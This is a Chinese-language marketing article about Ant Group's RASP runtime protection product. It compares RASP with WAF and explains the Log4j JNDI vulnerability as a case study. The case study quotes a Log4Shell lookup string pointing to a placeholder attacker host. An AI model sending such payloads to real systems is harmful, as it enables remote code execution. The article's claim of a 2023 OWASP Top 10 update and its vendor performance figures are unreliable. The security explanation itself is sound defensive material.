「云原生安全既是一种全新安全理念,也是实现云战略的前提。
基于蚂蚁集团内部多年实践,云原生PaaS平台SOFAStack发布完整的软件供应链安全产品及解决方案,包括静态代码扫描Pinpoint,软件成分分析SCA,交互式安全测试IAST,运行时防护RASP,安全洞察Appinsight等,帮助企业客户应用软件实现『发布前检测,运行时免疫』。
本周,我们将持续分享解读四大产品。」
昨天,我们解析了应用「运行时漏洞发现」场景的软件供应链安全产品——交互式安全测试 IAST ,本文将着重介绍针对「应用上线后安全防护」场景的软件供应链安全产品——RASP 运行时防护平台。
应用安全的防护手段
在应用上线前的安全测试工具包含静态代码安全扫描产品 Pinpoint、软件成分分析 SCA 和交互式安全测试 IAST 等,已基本能保障「上线即安全」,但面临外部持续性侵入或恶意攻击,应用在上线后也会设立重重防线保护应用和数据资产。
据 Imperva 公司表示,50% 的数据泄露始于 Web 应用程序。如今在应用上线后的防御产品中最广泛流行的是 WAF,但 WAF 本身的一些局限性(高误报率、低时效性、极易被绕过等)导致应用仍被恶意攻击,这就迫切需要新的应用防护手段加强应用安全。
因此,应用运行时自我保护技术 RASP(Runt ime Applicat ion Self -Prot ect ion)近几年来备受关注,它是一种将防护能力内置或链接至应用程序内部或其运行时环境中的安全技术,该技术由 Gartner 在 2012 年首次提出。RASP与WAF的本质区别:以服务器端请求伪造漏洞 SSRF 为例,对于明文或编码处理过的请求,WAF 都无法发现,攻击者都会拿到结果;而 RASP 是以应用内部行为作为感知视角,无论外部用什么形式输入,最终要生效都会生成一些特定的执行函数,防御仅需要在关键函数入口处把守即可。
WAF识别
RASP识别
因此,业界一般将 WAF 称为边界防御产品,将 RASP 技术称之为「疫苗技术」,RASP 可以提高应用本身的「免疫力」。
蚂蚁RASP产品能力
蚂蚁 RASP 是一款利用应用运行时自我保护技术来发现威胁攻击行为的安全产品。该产品基于蚂蚁自研通用注入底座平台技术,能够根据 Web 相关漏洞特性将检测策略直接注入到被保护应用的服务中,以提供函数级别的实时保护能力。RASP 还能够根据应用程序调用栈的相似性来防御 0day 漏洞,从而有效规避 Web 应用安全风险、发现应用潜在漏洞,并实现应用安全水位的有效提升。
RASP产品价值:
- 作用于应用运行时,具备数据级安全检测能力,拦截更精准,无需担忧误报。
- 与应用业务系统强关联但解耦,实现融合式防护,作为一个「守护神」时刻紧密保护业务安全。
- 联合 WAF,但不取代 WAF,可与边界防御产品共同保护 Web 应用安全。
- 加固应用自身安全,使应用程序自身具备防护能力而非依赖外界安全产品
RASP产品优势:
- 丰富的安全防护能力。OWASP 是开放式 Web 应用程序安全项目组织,该组织 2023 年更新「十大安全漏洞列表」(OWASP TOP10),涵盖了Web 应用程序最可能、最常见、最危险的十大漏洞,可帮助公司规范应用程序开发及测试流程,提高 Web 产品的安全性。蚂蚁 RASP 支持检测 JNDI 注入、FastJSON 漏洞、命令执行、反序列化、SSRF 等数十种攻击类型,覆盖 OWASP TOP10。此外,蚂蚁 RASP 还具备检测反绕过 RASP 的技术能力。
- 不影响网络架构,对业务性能影响较低。蚂蚁 RASP 采用自研的切面注入技术,在研发测试阶段将 Agent 探针注入到应用运行时环境中,无需业务参与即可进行热补丁修复,可在业务无感知的情况下提高安全水位,不仅完全与业务解耦,而且对应用代码的性能影响较低。经内部压测,对业务启动耗时影响 <0.5s ,对业务运行时耗时影响 <0.001s、对 CPU 占用影响 <3.4%。
- 毫秒级响应,高精准自动拦截。蚂蚁RASP利用轻量的探针安装包堆砌「围墙」,在不采集任何业务数据和不影响应用程序代码和架构的基础上,通过分析应用的上下文信息来检测每一段请求代码,并获得代码可见性,实现对应用服务器下所有 Java 应用的实时防护。
- 高可读已操作,降低对安全人员的要求。将复杂、专业的函数级策略配置简单化,将策略以防护能力 Jar 包的方式导入平台,清晰易懂;将晦涩难懂的攻击数据直观化、可视化,使得安全防护更简单、更有效,降低对安全专业人员的要求。
- 联动防护,加固应用安全。蚂蚁 RASP 可结合 Pinpoint/SAST、SCA、IAST 等安全测试产品实现 DevSecOps 安全解决方案,也可对接 WAF、蜜罐、SOC 等平台实现应用上线后的纵深防御。
案例分析
以拦截实时级漏洞 Log4j 为例:
- 漏洞简介
Apache Log4j2 是一款开源的 Java 日志记录工具,全球大厂几乎都在使用,影响面极广。
2021年 12 月 10 日,Apache Log4j2 爆出远程代码执行漏洞(CNVD-2021-95914、CVE-2021-44228),影响范围:Apache Log4j 2.x < 2.15.0-rc2 ,称为计算机史上核弹级漏洞,黑客可利用该漏洞构造恶意请求,从而实现在目标服务器上执行任意代码。
- 问题说明
lookup 机制提供了一种在任意位置向 Log4j2 配置添加值的方法,是实现 StrLookup 接口的特殊类型插件,可以使用简单表达式记录动态内容,例如:logger.info("system propety: ${sys:user.dir}")。Log4j2 中的 JNDI 解析器是本次漏洞的源头,JNDI 解析器通过 JDK 获取 JNDI 对象,并使用这个 JNDI 对象替换原有文本进行打印。JNDI 解析器常用的 Shema 是 ldap,例如
jndi:ldap://xxx.xxx.xxx/Exploit,通过 JDK 在攻击者指定的路径中下载一段字节流,并将其反序列化为 Java 对象然后作为 JNDI 对象返回,同时在反序列化过程中会执行字节流中包含的程序。
因此,攻击者一旦能够控制日志打印的内容,即可使目标服务器从攻击者指定的任意地址下载代码字节流,然后攻击者在字节流中附带的代码就会在目标服务器上执行。
- RASP防御方案与效果
针对于利用 Log4j2 漏洞执行的恶意操作,如:访问控制失效、用户可任意删除/读取/列出/写入 等,RASP 通过检测文件访问路径是否来自用户输入、是否有路径穿越、是否是敏感路径等来判断拦截与否,达到应急止血、高效拦截的效果。
当时在实际拦截中,RASP具体作用如下:
- 48 小时完成 93% 高危应用生产环境止血
- 蚂蚁内部 91.5% 的应用靠 RASP 应急修复
未来展望
目前,蚂蚁 RASP 运行时防护平台已被广泛应用于金融、运营商、制造、互联网等各个行业,并经过实践证明能够有效拦截 0Day 攻击。未来,我们将继续提升 RASP 的防御规则,扩大部署规模,并积极探索与 WAF、蜜罐等安全产品的深度融合,以协助企业实现应用安全治理。同时,我们也将加强 RASP 与其他安全产品的联动,如态势感知、入侵检测等,以实现更全面的安全防护。我们相信,通过不断的技术创新和合作,RASP 将成为企业应用安全治理的重要工具,为企业的数字化转型保驾护航。